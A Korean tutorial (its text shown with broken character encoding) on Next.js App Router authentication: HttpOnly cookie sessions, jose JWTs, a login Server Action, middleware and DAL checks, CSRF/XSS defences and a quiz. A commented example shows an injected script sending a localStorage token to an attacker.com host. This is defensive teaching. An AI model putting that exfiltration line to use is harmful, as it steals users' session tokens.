๐Ÿš€ Next.js ์‹ฌํ™” 7์žฅ: Authentication Architecture โ€” ๋ฏธ๋“ค์›จ์–ด + DAL + ์„ธ์…˜ ๋ณด์•ˆ ์„ค๊ณ„

๐Ÿ“‹ ๊ฐœ์š”

Middleware + DAL + Session ํŒจํ„ด์œผ๋กœ Next.js ์•ฑ์˜ ์ธ์ฆ์„ ์•ˆ์ „ํ•˜๊ฒŒ ์„ค๊ณ„ํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ“‹ ๋ชฉ์ฐจ


๐Ÿ“Œ ์ด ๋ฌธ์„œ๋ฅผ ์ฝ๊ธฐ ์ „์—

โฑ๏ธ ์˜ˆ์ƒ ์ฝ๊ธฐ ์‹œ๊ฐ„: 20๋ถ„ (์ „์ฒด) / ํ•ต์‹ฌ ํŒŒํŠธ๋งŒ: 10๋ถ„

๐Ÿ—บ๏ธ ์ด ๋ฌธ์„œ์˜ ๋ฐฐ๊ฒฝ ์„ธ๊ณ„๊ด€: '์˜์ˆ˜๋„ค ์ปค๋ฎค๋‹ˆํ‹ฐ'

  • ์˜์ฒ (์‹ ์ž…): "๋กœ๊ทธ์ธ ๊ธฐ๋Šฅ ๋งŒ๋“ค์—ˆ๋Š”๋ฐ์š”, ๋กœ๊ทธ์ธ ์„ฑ๊ณตํ•˜๋ฉด JWT๋ฅผ localStorage์— ์ €์žฅํ•˜๊ณ  ์žˆ์–ด์š”. API ํ˜ธ์ถœํ•  ๋•Œ๋งˆ๋‹ค Authorization: Bearer ${token} ํ—ค๋” ๋ถ™์ด๊ณ ์š”. ์ด๊ฒŒ ๋ณดํ†ต ํ•˜๋Š” ๋ฐฉ์‹ ์•„๋‹Œ๊ฐ€์š”?"
  • ์˜ํ˜ธ(๋ฆฌ๋“œ): "์˜์ฒ  ๋‹˜... ๊ทธ ๋ฐฉ๋ฒ•์€ XSS ๊ณต๊ฒฉ์— ์™„์ „ํžˆ ๋ฌด๋ฐฉ๋น„์˜ˆ์š”. JS๋กœ localStorage์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ํ•˜๋‚˜๋งŒ ์‚ฝ์ž…๋˜๋ฉด ๋ชจ๋“  ์‚ฌ์šฉ์ž ํ† ํฐ์ด ํƒˆ์ทจ๋ผ์š”. Next.js App Router์—์„œ๋Š” HttpOnly ์ฟ ํ‚ค๋กœ ํ† ํฐ์„ ๋ณดํ˜ธํ•˜๊ณ , ์„œ๋ฒ„ ์ปดํฌ๋„ŒํŠธ์—์„œ๋งŒ ์„ธ์…˜์„ ๊ฒ€์ฆํ•ด์•ผ ํ•ด์š”."

๐Ÿ—บ๏ธ ์ด ๋ฌธ์„œ์˜ ํ๋ฆ„
์ธ์ฆ์˜ 3๊ธฐ๋‘ฅ โ†’ ์„ธ์…˜ ์ €์žฅ ๋ฐฉ๋ฒ• ๋น„๊ต โ†’ ์„ธ์…˜ ์ƒ์„ฑ/๊ฒ€์ฆ ๊ตฌํ˜„ โ†’ ๋ฏธ๋“ค์›จ์–ด + DAL 2๋‹จ๊ณ„ ๋ฐฉ์–ด โ†’ ๋ณด์•ˆ ํ—ค๋”

๐ŸŽฏ ์ด ๋ฌธ์„œ๋ฅผ ๋‹ค ์ฝ์œผ๋ฉด ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ

  • localStorage ๋Œ€์‹  HttpOnly ์ฟ ํ‚ค๋กœ ์„ธ์…˜์„ ์•ˆ์ „ํ•˜๊ฒŒ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋‹ค
  • ๋ฏธ๋“ค์›จ์–ด(1์ฐจ)์™€ DAL(2์ฐจ)๋กœ ์ด์ค‘ ์ธ์ฆ ์ฒด๊ณ„๋ฅผ ์„ค๊ณ„ํ•  ์ˆ˜ ์žˆ๋‹ค
  • CSRF์™€ XSS ๊ณต๊ฒฉ์ด ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๊ณ  ์–ด๋–ป๊ฒŒ ๋ฐฉ์–ดํ•˜๋Š”์ง€ ์„ค๋ช…ํ•  ์ˆ˜ ์žˆ๋‹ค

๐Ÿค” ์™œ ์•Œ์•„์•ผ ํ•˜๋Š”๊ฐ€

์ธ์ฆ์€ "์ด ์‚ฌ๋žŒ์ด ๋ˆ„๊ตฌ์ธ๊ฐ€?" ๋ฅผ ํ™•์ธํ•˜๋Š” ๊ณผ์ •์ด์•ผ. ์ž˜๋ชป ๊ตฌํ˜„ํ•˜๋ฉด ์„œ๋น„์Šค์˜ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๊ฐ€ ์œ„ํ—˜ํ•ด์ ธ.

Next.js App Router๊ฐ€ ๋“ฑ์žฅํ•˜๋ฉด์„œ ์ธ์ฆ ๊ตฌํ˜„ ๋ฐฉ์‹์ด ํฌ๊ฒŒ ๋ฐ”๋€Œ์—ˆ์–ด:

  • ๊ณผ๊ฑฐ SPA ๋ฐฉ์‹: ํด๋ผ์ด์–ธํŠธ์—์„œ API ํ˜ธ์ถœ โ†’ JWT๋ฅผ localStorage ์ €์žฅ โ†’ ๋ชจ๋“  ์š”์ฒญ์— ํ—ค๋” ์ฒจ๋ถ€
  • App Router ๋ฐฉ์‹: ์„œ๋ฒ„ ์ปดํฌ๋„ŒํŠธ๊ฐ€ ๊ธฐ๋ณธ โ†’ ์„œ๋ฒ„์—์„œ ์„ธ์…˜ ๊ฒ€์ฆ โ†’ HttpOnly ์ฟ ํ‚ค๋กœ ํ† ํฐ ๋ณดํ˜ธ

์™œ ๋ฐ”๊ฟ”์•ผ ํ•˜๋ƒ๊ณ ? localStorage๋Š” JavaScript๋กœ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์ด์•ผ. XSS ๊ณต๊ฒฉ ํ•˜๋‚˜๋กœ ๋ชจ๋“  ์‚ฌ์šฉ์ž์˜ ํ† ํฐ์ด ํ„ธ๋ฆด ์ˆ˜ ์žˆ์–ด.


๐Ÿ—๏ธ ๋น„์œ ๋กœ ๋จผ์ € ์ดํ•ดํ•˜๊ธฐ

๐Ÿง’ 5์‚ด์—๊ฒŒ ์„ค๋ช…ํ•œ๋‹ค๋ฉด?
๋น„๋ฐ€ ๊ธˆ๊ณ ์— ์—ด์‡ (JWT)๋ฅผ ๋ณด๊ด€ํ•œ๋‹ค๊ณ  ์ƒ์ƒํ•ด๋ด.

localStorage์— ์ €์žฅ = ์—ด์‡ ๋ฅผ ์ฑ…์ƒ ์œ„์— ์˜ฌ๋ ค๋†“๊ธฐ. ๋ˆ„๊ตฌ๋‚˜ ๋ณผ ์ˆ˜ ์žˆ์–ด. ๋‚˜์œ ์‚ฌ๋žŒ์ด ๋ฐฉ์— ๋“ค์–ด์˜ค๋ฉด(XSS) ๋ฐ”๋กœ ๊ฐ€์ ธ๊ฐ€.

HttpOnly ์ฟ ํ‚ค = ์—ด์‡ ๋ฅผ ๊ธˆ๊ณ  ์•ˆ์— ๋„ฃ๊ธฐ. ์—ด์‡  ์ฃผ์ธ(์„œ๋ฒ„)๋งŒ ๊บผ๋‚ผ ์ˆ˜ ์žˆ์–ด. ๋‚˜์œ ์‚ฌ๋žŒ์ด ๋ฐฉ์— ๋“ค์–ด์™€๋„(XSS) ๊ธˆ๊ณ ๋Š” ๋ชป ์—ด์–ด.

์ธ์ฆ์˜ 2๋‹จ๊ณ„ ๋ฐฉ์–ด:

1์ฐจ ๋ฐฉ์–ด (Middleware)   โ†’ "์—ด์‡  ์žˆ์–ด์š”?" ๋น ๋ฅธ ์ฒดํฌ, ์—†์œผ๋ฉด ๋ฌธ ์•ž์—์„œ ์ฐจ๋‹จ
2์ฐจ ๋ฐฉ์–ด (DAL)          โ†’ "์—ด์‡ ๊ฐ€ ์ง„์งœ์˜ˆ์š”? ์ด ๋ฐฉ ๋“ค์–ด๊ฐˆ ๊ถŒํ•œ ์žˆ์–ด์š”?" ์‹ค์ œ ๊ฒ€์ฆ

๐Ÿงฉ ์ธ์ฆ(Authentication)์˜ ์„ธ ๊ธฐ๋‘ฅ ๐ŸŸข

๐ŸŽฏ ์ด ์„น์…˜์„ ์ฝ๊ณ  ๋‚˜๋ฉด:

  • ์ธ์ฆ, ์„ธ์…˜ ๊ด€๋ฆฌ, ๊ถŒํ•œ ๋ถ€์—ฌ์˜ ์ฐจ์ด๋ฅผ ๋ช…ํ™•ํžˆ ๊ตฌ๋ถ„ํ•  ์ˆ˜ ์žˆ๋‹ค

Next.js ์ธ์ฆ ์‹œ์Šคํ…œ์€ ์„ธ ๊ฐ€์ง€ ๊ฐœ๋…์œผ๋กœ ๋‚˜๋‰˜์–ด:

๊ธฐ๋‘ฅ์˜๋ฏธ๋‹ด๋‹น ์œ„์น˜
์ธ์ฆ(Authentication)"๋‹น์‹ ์ด ๋ˆ„๊ตฌ์ธ๊ฐ€?" โ€” ์‹ ์› ํ™•์ธServer Action (๋กœ๊ทธ์ธ ์ฒ˜๋ฆฌ)
์„ธ์…˜ ๊ด€๋ฆฌ(Session)"๋‹น์‹ ์ด ๋กœ๊ทธ์ธํ•œ ์ƒํƒœ์ž„์„ ๊ธฐ์–ต"HttpOnly ์ฟ ํ‚ค + ์•”ํ˜ธํ™”
๊ถŒํ•œ ๋ถ€์—ฌ(Authorization)"์ด ์ž‘์—…์„ ํ•  ๊ถŒํ•œ์ด ์žˆ๋Š”๊ฐ€?"Middleware (1์ฐจ) + DAL (2์ฐจ)

๐Ÿ”‘ ์„ธ์…˜ ๊ด€๋ฆฌ: HttpOnly ์ฟ ํ‚ค vs localStorage ๐ŸŸก

๐ŸŽฏ ์ด ์„น์…˜์„ ์ฝ๊ณ  ๋‚˜๋ฉด:

  • HttpOnly ์ฟ ํ‚ค์™€ localStorage์˜ ๋ณด์•ˆ ์ฐจ์ด๋ฅผ ์„ค๋ช…ํ•  ์ˆ˜ ์žˆ๋‹ค
  • App Router์—์„œ HttpOnly ์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•˜๋Š” ์ด์œ ๋ฅผ ์ดํ•ดํ•œ๋‹ค

๐Ÿค” ์ž ๊น, ๋จผ์ € ์ƒ๊ฐํ•ด๋ด
๋ธŒ๋ผ์šฐ์ €์—์„œ document.cookie๋กœ ๋ชจ๋“  ์ฟ ํ‚ค๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๊ณ  ์•Œ๊ณ  ์žˆ์ง€?
๊ทธ๋Ÿฐ๋ฐ HttpOnly ์ฟ ํ‚ค๋Š” document.cookie๋กœ ์ฝ์„ ์ˆ˜ ์—†์–ด. ์™œ ๊ทธ๋Ÿด๊นŒ?

๋น„๊ต:

ํŠน์„ฑlocalStorageHttpOnly ์ฟ ํ‚ค
JS ์ ‘๊ทผlocalStorage.getItem() ๊ฐ€๋ŠฅโŒ JS ์ ‘๊ทผ ๋ถˆ๊ฐ€
XSS ์ทจ์•ฝ์„ฑ๐Ÿ”ด ๋งค์šฐ ์ทจ์•ฝ (JS ํƒˆ์ทจ ๊ฐ€๋Šฅ)๐ŸŸข ๋ณดํ˜ธ๋จ
SSR ์ง€์›โŒ ์„œ๋ฒ„์—์„œ ์ฝ๊ธฐ ๋ถˆ๊ฐ€โœ… ์„œ๋ฒ„ ์š”์ฒญ๋งˆ๋‹ค ์ž๋™ ์ „์†ก
์„œ๋ฒ„ ์ปดํฌ๋„ŒํŠธ ํ˜ธํ™˜โŒ ๋ถˆ๊ฐ€โœ… cookies() API๋กœ ์ฝ๊ธฐ ๊ฐ€๋Šฅ
๋งŒ๋ฃŒ ์„ค์ •์ˆ˜๋™ ์ฒ˜๋ฆฌ ํ•„์š”๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ž๋™ ์ฒ˜๋ฆฌ
// โŒ ์˜์ฒ ์ด์˜ ์œ„ํ—˜ํ•œ ๋ฐฉ์‹ โ€” localStorage ์‚ฌ์šฉ
// ํด๋ผ์ด์–ธํŠธ ์ปดํฌ๋„ŒํŠธ์—์„œ
const token = localStorage.getItem('auth_token')
// XSS ๊ณต๊ฒฉ์œผ๋กœ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž…๋˜๋ฉด:
// document.querySelector('script').textContent = `
//   fetch('https://attacker.com?' + localStorage.getItem('auth_token'))
// `
// ํ† ํฐ์ด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ์ „์†ก๋จ!
 
// โœ… ์˜ํ˜ธ์˜ ์•ˆ์ „ํ•œ ๋ฐฉ์‹ โ€” HttpOnly ์ฟ ํ‚ค
// Server Action์—์„œ ์ฟ ํ‚ค ์„ค์ • (์„œ๋ฒ„์—์„œ๋งŒ ์‹คํ–‰)
(await cookies()).set('session', encryptedToken, {
  httpOnly: true,   // JS ์ ‘๊ทผ ๋ถˆ๊ฐ€ โ†’ XSS ๋ฐฉ์–ด
  secure: true,     // HTTPS์—์„œ๋งŒ ์ „์†ก
  sameSite: 'lax',  // CSRF ๋ฐฉ์–ด
  maxAge: 60 * 60 * 24 * 7,  // 7์ผ
})

๐Ÿ›ก๏ธ ์„ธ์…˜ ์ƒ์„ฑ๊ณผ ๊ฒ€์ฆ ๊ตฌํ˜„ ๐ŸŸก

๐ŸŽฏ ์ด ์„น์…˜์„ ์ฝ๊ณ  ๋‚˜๋ฉด:

  • jose ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ JWT๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ๊ฒ€์ฆํ•  ์ˆ˜ ์žˆ๋‹ค
  • Server Action์œผ๋กœ ๋กœ๊ทธ์ธ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ์ „์ฒด ํ๋ฆ„์„ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ๋‹ค
// lib/auth.ts โ€” ์„ธ์…˜ ์•”ํ˜ธํ™”/๋ณตํ˜ธํ™”
import 'server-only'
import { SignJWT, jwtVerify } from 'jose'   // Edge ํ˜ธํ™˜ JWT ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ
 
const secretKey = process.env.SESSION_SECRET!
const encodedKey = new TextEncoder().encode(secretKey)
 
type SessionPayload = {
  userId: string
  role: 'user' | 'admin'
  expiresAt: Date
}
 
// ์„ธ์…˜ ์•”ํ˜ธํ™” (JWT ์ƒ์„ฑ)
export async function encrypt(payload: SessionPayload): Promise<string> {
  return new SignJWT(payload)
    .setProtectedHeader({ alg: 'HS256' })
    .setIssuedAt()
    .setExpirationTime('7d')           // 7์ผ ๋งŒ๋ฃŒ
    .sign(encodedKey)
}
 
// ์„ธ์…˜ ๋ณตํ˜ธํ™” (JWT ๊ฒ€์ฆ)
export async function decrypt(token: string): Promise<SessionPayload | null> {
  try {
    const { payload } = await jwtVerify(token, encodedKey, {
      algorithms: ['HS256'],
    })
    return payload as unknown as SessionPayload
  } catch {
    // ํ† ํฐ์ด ๋งŒ๋ฃŒ๋๊ฑฐ๋‚˜ ๋ณ€์กฐ๋œ ๊ฒฝ์šฐ
    return null
  }
}
// lib/session.ts โ€” ์„ธ์…˜ ์ƒ์„ฑ/์กฐํšŒ/์‚ญ์ œ
import 'server-only'
import { cookies } from 'next/headers'
import { encrypt, decrypt } from './auth'
 
export async function createSession(userId: string, role: 'user' | 'admin') {
  const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
  const session = await encrypt({ userId, role, expiresAt })
 
  const cookieStore = await cookies()
  cookieStore.set('session', session, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'lax',
    expires: expiresAt,
    path: '/',
  })
}
 
export async function getSession() {
  const cookieStore = await cookies()
  const sessionCookie = cookieStore.get('session')?.value
  if (!sessionCookie) return null
  return decrypt(sessionCookie)
}
 
export async function deleteSession() {
  const cookieStore = await cookies()
  cookieStore.delete('session')
}
// lib/actions/auth.actions.ts โ€” ๋กœ๊ทธ์ธ Server Action
'use server'
import { redirect } from 'next/navigation'
import { createSession } from '../session'
import { db } from '../db'
import bcrypt from 'bcryptjs'
 
export async function login(prevState: unknown, formData: FormData) {
  const email = formData.get('email') as string
  const password = formData.get('password') as string
 
  // DB์—์„œ ์‚ฌ์šฉ์ž ์กฐํšŒ
  const user = await db.user.findUnique({ where: { email } })
 
  // ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฒ€์ฆ (bcrypt๋Š” ์„œ๋ฒ„์—์„œ๋งŒ ์‹คํ–‰ โ€” Node.js Runtime)
  if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
    return { error: '์ด๋ฉ”์ผ ๋˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์˜ฌ๋ฐ”๋ฅด์ง€ ์•Š์•„์š”' }
  }
 
  // ์„ธ์…˜ ์ƒ์„ฑ โ†’ HttpOnly ์ฟ ํ‚ค์— ์ €์žฅ
  await createSession(user.id, user.role)
 
  // ๋กœ๊ทธ์ธ ์„ฑ๊ณต โ†’ ๋Œ€์‹œ๋ณด๋“œ๋กœ ์ด๋™
  redirect('/dashboard')
}
 
export async function logout() {
  await deleteSession()
  redirect('/login')
}

๐Ÿšช ๋ฏธ๋“ค์›จ์–ด + DAL 2๋‹จ๊ณ„ ๋ฐฉ์–ด ๊ตฌ์กฐ ๐Ÿ”ด

๐ŸŽฏ ์ด ์„น์…˜์„ ์ฝ๊ณ  ๋‚˜๋ฉด:

  • ๋ฏธ๋“ค์›จ์–ด(1์ฐจ)์™€ DAL(2์ฐจ)์ด ๊ฐ๊ฐ ๋ฌด์—‡์„ ๊ฒ€์ฆํ•˜๋Š”์ง€ ์„ค๋ช…ํ•  ์ˆ˜ ์žˆ๋‹ค

์™œ 2๋‹จ๊ณ„์ธ๊ฐ€?

๋ฏธ๋“ค์›จ์–ด(Edge)์—์„œ ๋ฌด๊ฑฐ์šด ๊ฒ€์ฆ์€ ๋ถˆ๊ฐ€ํ•ด. ํ•˜์ง€๋งŒ DAL์—์„œ๋งŒ ๊ฒ€์ฆํ•˜๋ฉด ๋ณดํ˜ธ๋˜์ง€ ์•Š์€ ๊ฒฝ๋กœ์—์„œ ๋А๋ฆฐ ๊ฒ€์ฆ์„ ๊ธฐ๋‹ค๋ ค์•ผ ํ•ด. ๊ทธ๋ž˜์„œ ์—ญํ• ์„ ๋‚˜๋ˆ :

// middleware.ts โ€” 1์ฐจ ๋ฐฉ์–ด: "์„ธ์…˜ ์ฟ ํ‚ค๊ฐ€ ์กด์žฌํ•˜๋Š”๊ฐ€?"
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'
 
const PROTECTED_PATHS = ['/dashboard', '/my', '/settings', '/posts/write']
 
export async function middleware(request: NextRequest) {
  const { pathname } = request.nextUrl
 
  const isProtected = PROTECTED_PATHS.some((path) => pathname.startsWith(path))
  if (!isProtected) return NextResponse.next()
 
  const sessionCookie = request.cookies.get('session')?.value
 
  // ๋น ๋ฅธ 1์ฐจ ์ฒดํฌ: ์ฟ ํ‚ค ์กด์žฌ ์—ฌ๋ถ€๋งŒ
  // ์‹ค์ œ JWT ๊ฒ€์ฆ์€ Edge์—์„œ jose๋กœ ๊ฐ€๋Šฅํ•˜์ง€๋งŒ ์„ ํƒ์ 
  if (!sessionCookie) {
    const loginUrl = new URL('/login', request.url)
    loginUrl.searchParams.set('callbackUrl', pathname)
    return NextResponse.redirect(loginUrl)
  }
 
  return NextResponse.next()
}
// lib/dal.ts โ€” 2์ฐจ ๋ฐฉ์–ด: "์„ธ์…˜์ด ์œ ํšจํ•œ๊ฐ€? ์ด ์ž‘์—… ๊ถŒํ•œ์ด ์žˆ๋Š”๊ฐ€?"
import 'server-only'
import { getSession } from './session'
import { db } from './db'
 
export async function verifySession() {
  const session = await getSession()
  if (!session) {
    // ์„ธ์…˜ ์—†์œผ๋ฉด ์ฆ‰์‹œ 401 ์ฒ˜๋ฆฌ
    throw new Error('UNAUTHORIZED')
  }
  return session
}
 
// ๊ฒŒ์‹œ๊ธ€ ์‚ญ์ œ โ€” ์ž‘์„ฑ์ž ๋˜๋Š” ๊ด€๋ฆฌ์ž๋งŒ ๊ฐ€๋Šฅ
export async function deletePost(postId: string) {
  const session = await verifySession()  // ์„ธ์…˜ ๊ฒ€์ฆ
 
  const post = await db.post.findUnique({ where: { id: postId } })
  if (!post) throw new Error('NOT_FOUND')
 
  // ๊ถŒํ•œ ์ฒดํฌ: ์ž‘์„ฑ์ž์ด๊ฑฐ๋‚˜ ๊ด€๋ฆฌ์ž์—ฌ์•ผ ํ•จ
  if (post.authorId !== session.userId && session.role !== 'admin') {
    throw new Error('FORBIDDEN')
  }
 
  return db.post.delete({ where: { id: postId } })
}

๐Ÿ”’ ๋ณด์•ˆ ๊ฐ•ํ™”: CSRF, XSS ๋ฐฉ์–ด ๐Ÿ”ด

๐Ÿ›ก๏ธ CSRF ๋ฐฉ์–ด โ€” sameSite ์ฟ ํ‚ค ์„ค์ •

CSRF(Cross-Site Request Forgery): ์•…์„ฑ ์‚ฌ์ดํŠธ์—์„œ ์‚ฌ์šฉ์ž ๋ชฐ๋ž˜ ์šฐ๋ฆฌ ์„œ๋ฒ„๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ๊ณต๊ฒฉ.

// sameSite ์„ค์ •์œผ๋กœ CSRF ๋ฐฉ์–ด
cookieStore.set('session', session, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',    // ์™ธ๋ถ€ ์‚ฌ์ดํŠธ์—์„œ POST ์š”์ฒญ ์‹œ ์ฟ ํ‚ค ์ „์†ก ์•ˆ ํ•จ
  // sameSite: 'strict' โ†’ ๋” ๊ฐ•๋ ฅํ•˜์ง€๋งŒ ์ผ๋ถ€ OAuth ๋ฆฌ๋””๋ ‰ํŠธ๊ฐ€ ๊นจ์งˆ ์ˆ˜ ์žˆ์Œ
})

Server Action์˜ CSRF ๋‚ด์žฅ ๋ฐฉ์–ด:

Next.js Server Action์€ ๋‚ด๋ถ€์ ์œผ๋กœ CSRF ํ† ํฐ ์—†์ด๋„ ๋ณดํ˜ธ๋ผ. ๊ฐ Server Action ํ•จ์ˆ˜์— ์•”ํ˜ธํ™”๋œ ๋น„๊ฒฐ์ •์  ID๋ฅผ ํ• ๋‹นํ•ด์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์—”๋“œํฌ์ธํŠธ๋ฅผ ์œ ์ถ”ํ•˜๊ธฐ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ค์–ด.

๐Ÿ›ก๏ธ XSS ๋ฐฉ์–ด โ€” CSP ํ—ค๋”

// middleware.ts์—์„œ CSP ํ—ค๋” ์„ค์ •
response.headers.set(
  'Content-Security-Policy',
  "default-src 'self'; script-src 'self' 'nonce-{nonce}'; style-src 'self' 'unsafe-inline';"
)

๐Ÿ’ฅ ์—๋Ÿฌ ํ•ด๊ฒฐ ์นดํƒˆ๋กœ๊ทธ


โŒ cookies() was called outside a request scope

์›์ธ: cookies()๋ฅผ Server Action์ด๋‚˜ ์„œ๋ฒ„ ์ปดํฌ๋„ŒํŠธ๊ฐ€ ์•„๋‹Œ ๊ณณ์—์„œ ํ˜ธ์ถœ.

ํ•ด๊ฒฐ์ฑ…: cookies()๋Š” ๋ฐ˜๋“œ์‹œ ์„œ๋ฒ„ ์ปดํฌ๋„ŒํŠธ, Server Action, Route Handler ์•ˆ์—์„œ๋งŒ ์‚ฌ์šฉํ•ด.


โŒ jose ํ† ํฐ ๊ฒ€์ฆ ์‹คํŒจ โ€” JWTExpired

์›์ธ: ํ† ํฐ ๋งŒ๋ฃŒ. ์ •์ƒ์ ์ธ ๋™์ž‘์ด์ง€๋งŒ ํ•ธ๋“ค๋ง์ด ํ•„์š”.

ํ•ด๊ฒฐ์ฑ…:

try {
  const { payload } = await jwtVerify(token, encodedKey)
  return payload
} catch (err) {
  if (err instanceof errors.JWTExpired) {
    // ๋งŒ๋ฃŒ โ†’ ๋ฆฌํ”„๋ ˆ์‹œ ๋˜๋Š” ์žฌ๋กœ๊ทธ์ธ ์œ ๋„
    return null
  }
  // ๊ธฐํƒ€ ๊ฒ€์ฆ ์‹คํŒจ
  return null
}

๐Ÿ ์ด๋ฒˆ์— ๋ฐฐ์šด ๋‚ด์šฉ ์ด์ •๋ฆฌ

๐Ÿ“‹ ์ธ์ฆ ๊ตฌํ˜„ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

ํ•ญ๋ชฉ๊ตฌํ˜„ ์œ„์น˜์ค‘์š”๋„
์„ธ์…˜ ์•”ํ˜ธํ™” (jose)lib/auth.tsํ•„์ˆ˜
HttpOnly ์ฟ ํ‚ค ์„ค์ •lib/session.tsํ•„์ˆ˜
๋กœ๊ทธ์ธ Server Actionlib/actions/auth.actions.tsํ•„์ˆ˜
1์ฐจ ๋ฏธ๋“ค์›จ์–ด ๋ฐฉ์–ดmiddleware.tsํ•„์ˆ˜
2์ฐจ DAL ๋ฐฉ์–ดlib/dal.tsํ•„์ˆ˜
server-only importlib/ ํŒŒ์ผ ์ตœ์ƒ๋‹จ๊ฐ•๋ ฅ ๊ถŒ์žฅ

โš ๏ธ ์ ˆ๋Œ€ ํ•˜์ง€ ๋ง ๊ฒƒ

์ƒํ™ฉโŒ ๋‚˜์œ ์˜ˆโœ… ์ข‹์€ ์˜ˆ
ํ† ํฐ ์ €์žฅlocalStorage.setItem('token', jwt)HttpOnly ์ฟ ํ‚ค
๋ฏธ๋“ค์›จ์–ด๋งŒ์œผ๋กœ ๋ณดํ˜ธMiddleware๋งŒ ๋ฏฟ๊ณ  DAL ๊ฒ€์ฆ ์ƒ๋žตMiddleware + DAL ์ด์ค‘ ๋ฐฉ์–ด
๊ถŒํ•œ ์ฒดํฌ ์œ„์น˜ํด๋ผ์ด์–ธํŠธ ์ปดํฌ๋„ŒํŠธ์—์„œ์„œ๋ฒ„(DAL)์—์„œ ์ตœ์ข… ๊ฒ€์ฆ

๐Ÿ“ ๋งˆ๋ฌด๋ฆฌ ํ€ด์ฆˆ

Q1. HttpOnly ์ฟ ํ‚ค๊ฐ€ XSS ๊ณต๊ฒฉ์— ๊ฐ•ํ•œ ์ด์œ ๋Š”?

  • A) ์ฟ ํ‚ค ๊ฐ’์ด ์•”ํ˜ธํ™”๋˜์–ด ์žˆ์–ด์„œ
  • B) JavaScript๋กœ document.cookie๋ฅผ ํ†ตํ•ด ์ ‘๊ทผํ•  ์ˆ˜ ์—†์–ด์„œ
  • C) HTTPS์—์„œ๋งŒ ์ „์†ก๋˜์–ด์„œ
  • D) ์ฟ ํ‚ค์˜ ๋งŒ๋ฃŒ ์‹œ๊ฐ„์ด ์งง์•„์„œ

โœ… ์ •๋‹ต: B

ํ•ด์„ค: HttpOnly ์†์„ฑ์€ ๋ธŒ๋ผ์šฐ์ €์—๊ฒŒ "์ด ์ฟ ํ‚ค๋Š” JavaScript๋กœ ์ ‘๊ทผ ๋ถˆ๊ฐ€"๋ผ๊ณ  ์•Œ๋ ค. XSS๋กœ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋ผ๋„ document.cookie๋กœ ์ด ์ฟ ํ‚ค๋ฅผ ์ฝ์„ ์ˆ˜ ์—†์–ด. ์•”ํ˜ธํ™”(A)์™€ HTTPS(C)๋Š” ๋ณ„๊ฐœ์˜ ๋ณด์•ˆ ์š”์†Œ์•ผ.

๐Ÿ“Œ ํ•ต์‹ฌ ๊ธฐ์–ต๋ฒ•: HttpOnly = "HTTP ์š”์ฒญ์—๋งŒ ์‚ฌ์šฉ, JS๋Š” ๊ฑด๋“ค์ง€ ๋งˆ."


Q2. ๋‹ค์Œ ์ค‘ ๋ฏธ๋“ค์›จ์–ด์—์„œ ํ•ด์•ผ ํ•˜๋Š” ๊ฒƒ๊ณผ DAL์—์„œ ํ•ด์•ผ ํ•˜๋Š” ๊ฒƒ์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ง์ง€์€ ๊ฒƒ์€?

  • A) ๋ฏธ๋“ค์›จ์–ด: DB์—์„œ ์‚ฌ์šฉ์ž ๊ถŒํ•œ ์กฐํšŒ / DAL: ์ฟ ํ‚ค ์กด์žฌ ์—ฌ๋ถ€ ํ™•์ธ
  • B) ๋ฏธ๋“ค์›จ์–ด: ์ฟ ํ‚ค ์กด์žฌ ์—ฌ๋ถ€ ํ™•์ธ / DAL: JWT ์œ ํšจ์„ฑ + ๊ถŒํ•œ ๊ฒ€์ฆ
  • C) ๋ฏธ๋“ค์›จ์–ด: JWT ์™„์ „ ๊ฒ€์ฆ / DAL: ๋น„๋ฐ€๋ฒˆํ˜ธ ํ™•์ธ
  • D) ๋ฏธ๋“ค์›จ์–ด: ๊ถŒํ•œ ๋ถ€์—ฌ / DAL: ์„ธ์…˜ ์ƒ์„ฑ

โœ… ์ •๋‹ต: B

ํ•ด์„ค: Middleware๋Š” Edge์—์„œ ๋น ๋ฅด๊ฒŒ ์‹คํ–‰๋ผ์•ผ ํ•˜๋‹ˆ "์ฟ ํ‚ค ์žˆ๋‚˜?"๋งŒ ํ™•์ธ. ๋ฌด๊ฑฐ์šด DB ์กฐํšŒ๋‚˜ JWT ์™„์ „ ๊ฒ€์ฆ์€ DAL์—์„œ.

๐Ÿ“Œ ํ•ต์‹ฌ ๊ธฐ์–ต๋ฒ•: "Middleware = ๊ฒฝ๋น„์› ๋ˆˆ ํ™•์ธ, DAL = ์‹ ๋ถ„์ฆ ์ง„์งœ์ธ์ง€ ์ •๋ฐ€ ๊ฒ€์‚ฌ."


